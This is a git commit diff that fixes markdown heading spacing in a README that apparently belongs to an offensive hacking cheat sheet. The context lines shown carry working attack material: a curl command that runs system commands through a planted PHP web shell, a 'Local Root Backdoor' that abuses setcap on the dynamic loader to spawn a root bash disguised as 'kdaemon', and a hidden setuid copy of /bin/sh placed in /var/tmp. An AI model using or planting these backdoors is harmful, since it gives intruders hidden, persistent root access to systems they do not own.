Update README.md

This commit is contained in:
skyper
2024-07-16 22:27:13 +01:00
committed by GitHub
parent e76c225f39
commit 087f3c7aea
+2 -2
View File
@@ -1626,7 +1626,7 @@ curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
<a id="ld-backdoor"></a>
**6.v. Local Root Backdoor**
###1. Backdooring the dynamic loader with setcap
### 1. Backdooring the dynamic loader with setcap
```bash
### Execute as ROOT user
@@ -1642,7 +1642,7 @@ command -v python3 >/dev/null && p="python3"
exec "${fn:?}" "$p" -c 'import os;os.setgid(0);os.setuid(0);os.execlp("bash", "kdaemon")'
```
###2. Good old b00m shell
### 2. Good old b00m shell
```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null